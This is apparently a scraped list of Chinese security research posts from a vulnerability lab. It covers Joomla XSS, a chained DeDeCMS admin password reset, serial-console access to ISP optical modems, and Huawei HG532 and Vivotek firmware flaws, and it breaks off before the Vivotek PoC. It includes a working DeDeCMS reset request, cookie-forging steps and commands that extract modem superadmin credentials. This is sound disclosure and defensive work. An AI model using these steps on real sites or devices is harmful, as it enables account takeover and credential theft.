    很明显只有当$script_name = $_SERVER['PHP_SELF']的时候,漏洞才有可能成立

    只有当php是fastcgi运行,而且cgi.fix_pathinfo = 0时才能进入这个判断,然后利用漏洞还有一个条件,就是服务端对路径的解析存在问题才行。

    当该路径能被正常解析时,http://127.0.0.1/index.php/{evil_code}就会被错误的设置为基础URL拼接入页面中。

    一个无限制的xss就成立了

    XSS vulnerability in module chromes

    https://developer.joomla.org/security-centre/718-20180101-core-xss-vulnerability.html

    补丁分析

    漏洞存在的点比较清楚,修复中将$moduleTag进行了一次转义,同样的地方有三处,但都是同一个变量导致的。

    这个触发也比较简单,当我们把前台模板设置为protostar(默认)时,访问前台就会触发这里的modChrome_well函数。

    漏洞利用

    让我们看看完整的代码

    很明显后面module_tag没有经过更多处理,就输出了,假设我们可控module_tag,那么漏洞就成立。

    问题在于怎么控制,这里的函数找不到调用的地方,能触发的地方都返回了传入的第二个值,猜测和上面的get_param一样,如果没有设置该变量,则返回default值。

    经过一番研究,并没有找到可控的设置的点,这里只能暂时放弃。

    ref

    作者:知道创宇404实验室 | Categories:安全研究技术分享 | Tags:
  • DeDeCMS v5.7 密码修改漏洞分析

    2018-01-18

    作者:LoRexxar'@知道创宇404实验室

    #### 0x01 背景

    织梦内容管理系统(DedeCms)以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用该系统。

    2018年1月10日, 锦行信息安全公众号公开了一个关于DeDeCMS前台任意用户密码修改漏洞的细节\[2]。

    2018年1月10日,Seebug漏洞平台\[3]收录该漏洞,漏洞编号为SSV-97074,知道创宇404漏洞应急团队成功复现该漏洞。

    2018年1月17日,阿里先知平台公开了一个任意用户登陆漏洞\[4]\[5],和一个安全隐患\[6],通过组合漏洞,导致后台密码可以被修改。

    2018年1月18日,知道创宇404漏洞应急团队成功复现该漏洞。

    #### 0x02 漏洞简述

    整个漏洞利用链包括3个过程:

    1. 前台任意用户密码修改漏洞
    2. 前台任意用户登陆漏洞
    3. 前台管理员密码修改可影响后台的安全隐患

    通过3个问题连起来,我们可以重置后台admin密码,如果我们获得了后台地址,就可以进一步登陆后台进行下一步攻击。

    ##### 1、前台任意用户密码修改漏洞
    前台任意用户密码修改漏洞的核心问题是由于DeDeCMS对于部分判断使用错误的弱类型判断,再加上在设置初始值时使用了NULL作为默认填充,导致可以使用弱类型判断的漏洞来绕过判断。

    漏洞利用有几个限制:

    1. 漏洞只影响前台账户 admin账户在前台是敏感词无法登陆
    2. admin账户的前后台密码不一致,无法修改后台密码。
    3. 漏洞只影响未设置密保问题的账户

    ##### 2、前台任意用户登陆漏洞

    前台任意用户登陆漏洞主要是利用了DeDeCMS的机制问题,通过一个特殊的机制,我们可以获得任意通过后台加密过的cookie,通过这个cookie我们可以绕过登陆,实现任意用户登陆。

    漏洞利用有一个限制:

    如果后台开启了账户注册审核,那就必须等待审核通过才能进行下一步利用。

    ##### 3、前台管理员密码修改可影响后台的安全隐患

    在DeDeCMS的设计中,admin被设置为不可从前台登陆,但是当后台登陆admin账户的时候,前台同样会登陆管理员账户。

    而且在前台的修改密码接口,如果提供了旧密码,admin同样可以修改密码,并且这里修改密码会同步给后台账户。

    通过3个漏洞配合,我们可以避开整个漏洞利用下的大部分问题。

    前台任意用户密码修改漏洞->修改admin密码,前台任意用户登录漏洞->登陆admin账户,通过刚才修改的admin密码,来重置admin账户密码。

    #### 0x03 漏洞复现

    ##### 1、 登陆admin前台账户

    安装DeDeCMS
    ![](https://images.seebug.org/content/images/2018/01/5d867e22-6725-44a0-8921-eb1a470accb1.png-w331s)

    注册用户名为000001的账户

    ![](https://images.seebug.org/content/images/2018/01/2c982abb-8803-4ace-b900-b76fdebb1090.png-w331s)

    由于是本地复现漏洞,所以我们直接从数据库中修改为审核通过

    ![](https://images.seebug.org/content/images/2018/01/62afac8d-5130-4df8-9755-b14d505cadc2.png-w331s)

    访问

    http://your_website/member/index.php?uid=0000001

    ![](https://images.seebug.org/content/images/2018/01/f5289b12-2d0c-4d1c-9c7a-f4ad0d1053cd.png-w331s)

    获取cookie中last_vid_ckMd5值,设置DeDeUserID_ckMd5为刚才获取的值,并设置DedeUserID为0000001

    访问

    http://your_website/member/

    ![](https://images.seebug.org/content/images/2018/01/81bdc4e1-6df5-4cb8-be06-1aebe66d7e47.png-w331s)

    ##### 2、修改admin前台登陆密码

    使用DeDeCMS前台任意用户密码修改漏洞修改admin前台密码。

    构造漏洞利用请求


    http://yourwebsite/member/resetpassword.php

    dopost=safequestion&safequestion=0.0&safeanswer=&id=1

    ![](https://images.seebug.org/content/images/2018/01/65169b22-9cca-49a4-b049-6b781721bad5.png-w331s)

    从Burp获取下一步利用链接

    /member/resetpassword.php?dopost=getpasswd&id=1&key=nlszc9Kn

    ![](https://images.seebug.org/content/images/2018/01/01734ff4-d48d-42ca-b5d2-ec8837ee70e9.png-w331s)

    直接访问该链接,修改新密码

    ![](https://images.seebug.org/content/images/2018/01/c0f3ffe5-6eb1-4064-92e4-16c366d84ba8.png-w331s)

    成功修改登陆admin密码

    ##### 3、修改后台密码

    访问


    http://yourwebsite/member/edit_baseinfo.php

    使用刚才修改的密码再次修改密码

    ![](https://images.seebug.org/content/images/2018/01/e77740d5-d2f6-443b-b4db-3ba0dbb7a37b.png-w331s)

    成功登陆

    ![](https://images.seebug.org/content/images/2018/01/c68183da-b541-40e3-86d2-8b75aadb361a.png-w331s)

    #### 0x04 代码分析

    ##### 1、 前台任意用户登陆

    在分析漏洞之前,我们先来看看通过cookie获取登陆状态的代码。


    /include/memberlogin.class.php 161行

    ![](https://images.seebug.org/content/images/2018/01/ca006dbb-b378-48b4-a907-1fb7ea9b3c85.png-w331s)

    通过GetCookie函数从DedeUserID取到了明文的M_ID,通过intval转化之后,直接从数据库中读取该id对应的用户数据。

    让我们来看看GetCookie函数


    /include/helpers/cookie.helper.php 56行

    ![](https://images.seebug.org/content/images/2018/01/0a4a3a7c-3378-4d06-b4d4-e92f6f838185.png-w331s)

    这里的cfg_cookie_encode是未知的,DeDeCMS通过这种加盐的方式,来保证cookie只能是服务端设置的,所以我们没办法通过自己设置cookie来登陆其他账户。

    这里我们需要从别的地方获取这个加密后的值。


    /member/index.php 161行

    ![](https://images.seebug.org/content/images/2018/01/083c37a6-97ff-4655-8c96-0bf481c554e9.png-w331s)

    161行存在一段特殊的代码,这段代码是用来更新最新的访客记录的,当last_vid没有设置的时候,会把userid更新到这个变量中,更新到flag中。

    而这里的userid就是注册时的用户名(如果不是已存在的用户名的话,会因为用户不存在无法访问这个页面)。

    通过这种方式,我们就可以通过已知明文来获取我们想要的密文。

    这里我们通过注册userid为形似00001或者1aaa这样的用户,在获取登陆状态时,mid会经过intval的转化变为1,我们就成功的登陆到admin的账户下。

    ps:该漏洞影响所有用户

    ##### 2、前台任意用户密码修改

    漏洞主要逻辑在 /member/resetpassword.php 75行至95行

    ![](https://images.seebug.org/content/images/2018/01/80dc5c44-533f-4eb2-8dae-c75f255a936b.png-w331s)

    当找回密码的方式为安全问题时

    dedecms会从数据库中获取用户的安全问题、回答进行比对,当我们在注册时没设置安全问题时。

    从数据库中可以看到默认值为NULL(admin默认没有设置安全问题)

    ![](https://images.seebug.org/content/images/2018/01/33dd3447-bc19-4fc4-a869-f3961a67bd55.png-w331s)

    下面是设置了安全问题时数据库的样子,safequestion代表问题的id,safeanswer代表安全问题的回答。

    我们需要绕过第一个判断

    if(empty($safequestion)) $safequestion = '';

    这里我们只要传入0.0就可以绕过这里,然后0.0 == 0为True,第二个判断NULL==""为True,成功进入sn函数。

    跟入/member/inc/inc_pwd_functions.php 第150行

    ![](https://images.seebug.org/content/images/2018/01/005be5b8-87cc-433d-8b39-2f7dadeec734.png-w331s)

    有效时间10分钟,进入newmail函数

    跟入/member/inc/inc_pwd_functions.php 第73行

    ![](https://images.seebug.org/content/images/2018/01/23657efd-40df-4619-a322-89d3d68974c9.png-w331s)

    77行通过random生成了8位的临时密码。

    这里我们使用的是安全问题修改密码,所以直接进入94行,将key代入修改页。

    跳转进入形似

    /member/resetpassword.php?dopost=getpasswd&id=1&key=nlszc9Kn

    的链接,进入修改密码流程

    唯一存在问题的是,这里&错误的经过一次编码,所以这里我们只能手动从流量中抓到这个链接,访问修改密码。

    ##### 3、修改后台密码安全隐患

    在DeDeCMS的代码中,专门对前台修改管理员密码做了设置,如果是管理员,则一并更新后台密码,也就是这个安全隐患导致了这个问题。


    /member/edit_baseinfo.php 119行

    ![](https://images.seebug.org/content/images/2018/01/921e15f3-9e3e-4a34-a1f3-54475a6f25eb.png-w331s)

    #### 0x05 修复方案

    截至该文章完成时,DeDeCMS的官方仍然没有修复该漏洞,所以需要采用临时修复方案,等待官方正式修复更新。

    由于攻击漏洞涉及到3个漏洞,但官方仍然没有公开补丁,所以只能从一定程度上减小各个漏洞的影响。

    - 前台任意用户登陆漏洞:开启新用户注册审核,当发现userid为1xxxx或1时,不予以
    通过审核。

    在官方更新正式补丁之前,可以尝试暂时注释该部分代码,以避免更大的安全隐患

    /member/index.php 161-162行

    ![](https://images.seebug.org/content/images/2018/01/f88b5b3e-567b-4f72-a3cb-5efb4a7a18cb.png-w331s)

    - 前台修改后台管理员密码:设置较为复杂的后台地址,如果后台地址不可发现,则无法登陆后台。
    - 前台任意用户密码修改漏洞:

    修改文件/member/resetpassword.php 第84行
    ![](https://images.seebug.org/content/images/2018/01/7b8c7600-68dc-4eb9-bfc5-bfee00d158b7.png-w331s)

    将其中的==修改为===

    ![](https://images.seebug.org/content/images/2018/01/920c7470-c038-44a7-b43d-12c27a8f5a87.png-w331s)

    即可临时防护该该漏洞。

    #### 0x06 ref

    [1] DeDeCMS官网

    [2] 漏洞详情原文

    [3] Seebug漏洞平台

    [4] 阿里先知平台漏洞分析1

    [5] 阿里先知平台漏洞分析2

    [6] 漏洞最早分析原文

    作者:知道创宇404实验室 | Categories:安全研究技术分享 | Tags:
  • 如何通过TTL调试光猫

    2018-01-17

    作者:Sebao@知道创宇404实验室

    序言

    众所周知,光猫是现在每个家庭必备的一款设备,但是光猫背面写的账号密码,只是普通用户权限,会限制很多功能。这篇文章讲述,如何通过TTL调试的方法获取光猫超级管理员的权限。

    0x00 名词解释

    引脚介绍(COM口pin比较多,但是常用的也是这几个):

    VCC:供电pin,一般是3.3v,在我们的板子上没有过电保护,这个pin一般不接更安全

    GND:接地pin,有的时候rx接受数据有问题,就要接上这个pin,一般也可不接

    RX:接收数据pin

    TX:发送数据pin,我之前碰到串口只能收数据,不能发数据问题,经baidu,原来是设置了流控制,取消就可以了,适用于putty,SecureCRT

    在调试的时候, 多数情况下我们只引出rx,tx即可.

    0x01 所需工具:

    1,万用表

    2,TTL转USB版

    3,电烙铁

    4,杜邦线若干只

    5,SecureCRT

    0x02 华为光猫

    TTL调试的第一步骤就是拆机,拆机步骤这里就不详细描述。这里先看一下拆下来的光猫板子是什么样子的。

    TTL调试我们首先要找出 GND,RX,TX。从图中可以看到,已经标识出了 GND,RX,TX的接口,就需要通过USB转TTL小板串口读取固件。 查找GND,可以用万用表查找。

    用杜邦线连接到板子上,线序为GND接GND,RXD接TTL板的TXD,TXD 接TTL板的RXD。

    USB端连接上电脑,在控制面板,设备管理器查看串口(一般在COM1-COM12之间),Connection type设置为:Serial,Serial line设置为你电脑上显示的串口,Speed设置为115200,然后连接。接通电源后等待,在这一段时间内串口应该会打印很多启动信息,启动差不多后,敲回车:

    然后输入默认的账号root 密码 admin登录进去,输入shell命令,进入busybox.看一下此设备的cpu架构,用的是ARM7.

    准备查找超级管理员的密码。进入/mnt/jffs2目录,复制配置文件hw_ctree.xml到myconf.xml.gz中。这个文件是AES加密的,所以先解密,命令为aescrypt2 1 myconf.xml.gz tmp

    解密后的文件还是被压缩了的,所以要用gzip命令展开压缩文件myconf.xml.gz,得到myconf.xml。命令为:gzip -d myconf.xml.gz

    然后用 grep 命令 查找telecomadmin,也就是超级管理员的密码。命令为:grep telecomadmin myconf.xml

    0x03 烽火光猫

    和上述步骤一样,首先拆开光猫找到 GND,RX,TX。这个板子人性化的已经标明了GND,RX,TX。

    所以直接用杜邦线连接到板子上,线序为GND接GND,RXD接TTL板的TXD,TXD 接TTL板的RXD。

    USB端连接上电脑。

    接通电源后等待,在这一段时间内串口应该会打印很多启动信息,这里直接CTRL+C 跳过直接进入shell模式,这个也算是一个“后门”。输入命令 cat proc/cpuinfo查看cpu的架构。

    进入shell获取超级管理员的方法差不多,参考上文即可,这里不再详细描述。

    0x04 长虹光猫

    和上述步骤一样。

    因为这里没有针孔,所以需要焊接杜邦线到板子上,以便于固定杜邦线。

    USB端连接上电脑。

    0x05 总结

    感谢 知道创宇404实验室 dawu,fenix提供的思路以及技巧。

    作者:知道创宇404实验室 | Categories:安全研究技术分享 | Tags:
  • Huawei HG532 系列路由器远程命令执行漏洞分析

    2017-12-28

    作者:fenix@知道创宇404实验室
    English version: https://paper.seebug.org/508/

    背景

    华为 HG532 系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品。

    2017/11/27,Check Point 软件技术部门报告了一个华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215)【1】

    该漏洞在被报告前,互联网上产生了大量未被关注的此类漏洞攻击利用包,遍及全球多个国家。Payload 已被证实是知名病毒 Mirai 的升级版变种 OKIRU/SATORI。该 Payload 功能非常简单,主要通过发送精心制作的 UDP/TCP 报文来对目标发起 DDoS 攻击。

    2017/11/23,知道创宇 404 实验室的 ZoomEye 网络探针系统也捕获到了该攻击的 Payload。

    漏洞分析

    固件下载

    网上有 HG532e 版本的公开固件,下载地址【2】

    下载该固件,利用 binwalk 直接解压。

    目标系统是 MIPS 32 位 大端架构。

    漏洞分析

    根据 Check Point 的报告【1】,该远程命令执行漏洞的漏洞点位于 UPnP 服务中。

    UPnP 是由“通用即插即用论坛”(UPnP™ Forum)推广的一套网络协议。该协议的目标是使家庭网络(数据共享、通信和娱乐)和公司网络中的各种设备能够相互无缝连接,并简化相关网络的实现。

    直接将固件中负责 UPnP 服务的 upnp 程序扔到 IDA。

    通过字符串 NewStatusURL 对漏洞点进行定位。

    跟踪数据交叉引用

    漏洞点如下

    ATP_XML_GetChildNodeByName 函数的定义如下。

    程序首先进行 SOAP XML 报文解析,得到元素 NewDownloadURL 和 NewStatusURL 的值。然后进行以下拼接,最终调用 system() 函数执行。

    upg 是路由器的一个升级程序,他的参数功能如下。

    现在我们有两个命令注入点,NewDownloadURLNewStatusURL

    漏洞验证

    目标系统提供了以下命令。

    利用 wget 命令进行漏洞测试。发送以下报文。

    可以看到,我们成功在监听的端口上收到了请求。

    值得一提的是,HG532e 路由器的 uPnP 服务和防火墙都是默认开启的,防火墙默认等级为低级。

    在默认设置下,从 WAN 口访问 37215 端口会被防火墙拦截,漏洞无法被利用。

    防护方案

    2017/11/30,华为官方发布了安全公告【4】,确认了该漏洞。
    公告中提到了以下漏洞缓解措施

    • 配置路由器内置的防火墙
    • 更改路由器默认密码
    • 在路由器外部署防火墙

    是的,没找到固件升级包,所以,没有补丁分析…

    总结

    1. 和爱尔兰宽带路由器 SetNTPServers 命令注入【3】类似,这个漏洞整体来看就是一个简单的命令拼接。
    2. 该漏洞也为我们漏洞挖掘提供了一个很好的方向。snprintf()、system() 等函数附近的程序逻辑都应该被重点关注。
    3. 还是那句话,一切进入函数的变量都是有害的。大部分远程命令执行漏洞要么是过滤不全,导致命令拼接。要么是没有进行变量长度控制,造成缓冲区溢出。关于这点设备供应商应该负责任,安全开发意识非常重要。

    参考链接

    【1】 Check Point 漏洞报告
    https://research.checkpoint.com/good-zero-day-skiddie/
    【2】 HG532e 固件下载
    https://ia601506.us.archive.org/22/items/RouterHG532e/router%20HG532e.rar
    【3】 爱尔兰宽带路由器 SetNTPServers 命令注入
    https://www.seebug.org/vuldb/ssvid-97024/https://www.seebug.org/vuldb/ssvid-97024
    【4】 华为安全公告
    http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en/http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en

    作者:知道创宇404实验室 | Categories:安全研究技术分享 | Tags:
  • Vivotek 摄像头远程栈溢出漏洞分析及利用

    2017-12-14

    作者:fenix@知道创宇404实验室

    前言

    近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃。

    漏洞作者@bashis 放出了可造成摄像头 Crash 的 PoC :https://www.seebug.org/vuldb/ssvid-96866/https://www.seebug.org/vuldb/ssvid-96866

    该漏洞在 Vivotek 的摄像头中广泛存在,按照官方的安全公告,会影响以下版本

    Vivotek 官方提供了各种型号摄像头的固件下载:http://www.vivotek.com/firmware/ ,这也为我们的研究带来了很多便利。

    我们发现,漏洞被曝出之后,在官网固件下载页面中的大多数固件均早于漏洞曝出时间,我们下载了几款摄像头的最新固件进行验证,发现漏洞依然存在,这意味着截止漏洞被曝出,Vivotek 官方对该漏洞的修复并不彻底。众所周知,栈溢出是存在潜在的远程命令执行风险的,为了深入了解该漏洞的影响,我们决定研究下该漏洞的原理及利用。

    调试环境搭建

    固件下载

    由于手头上并没有 Vivotek 的摄像头,我们在官网下载其中一款摄像头固件,使用 qemu 模拟运行。(注:官方在陆续发布各个版本的固件更新,可根据固件发布时间判断官方是否已经修复漏洞)

    首先下载摄像头固件:http://download.vivotek.com/downloadfile/downloads/firmware/cc8160firmware.zip/http://download.vivotek.com/downloadfile/downloads/firmware/cc8160firmware.zip

    通过 binwalk 直接解压出其中的文件系统,和漏洞有关的主要文件如下

    根据 file 命令的结果可知目标架构为 ARM、小端、32位。且该 ELF 文件为动态链接。

    修复运行依赖

    尝试用 qemu 运行,结果如下

    服务没有运行起来,且没有明显的报错,猜想到可能是缺少某些依赖,程序直接退出了,扔到 IDA,从程序退出前的提示:gethostbyname:: Success,回溯程序异常退出原因。

    依次加载IDA 菜单栏 -> View -> Open subviews -> Strings,Command + F 搜索 gethostname

    查看交叉引用信息,定位相应代码段

    异常退出部分代码如下

    为了看的更直观,我们来贴一下 F5 的结果,如下

    这部分主要涉及两个函数。gethostname():返回本地主机的标准主机名,如果函数成功,则返回 0。如果发生错误则返回 -1。gethostbyname():用域名或主机名获取IP地址。

    Linux 操作系统的 hostname 是一个 kernel 变量,可以通过 hostname 命令来查看本机的 hostname。也可以直接 cat /proc/sys/kernel/hostname 查看。

    我们只需要将二者改成一致,httpd 服务即可成功运行。

    调试环境

    为了方便调试,还需要搭建 qemu 虚拟机环境。

    qemu 镜像文件下载:https://people.debian.org/~aurel32/qemu/armel/ (下载内核 3.2 的版本)

    远程调试 gdbserver:https://github.com/mzpqnxow/gdb-static-cross/tree/master/prebuilt-static/https://github.com/mzpqnxow/gdb-static-cross/tree/master/prebuilt-static

    qemu 虚拟机建议采用 桥接 方式和主机连接。

    启动虚拟机,进行简单配置等待远程调试。

    漏洞研究

    定位溢出点

    以下为漏洞作者 @bashis 提供的 PoC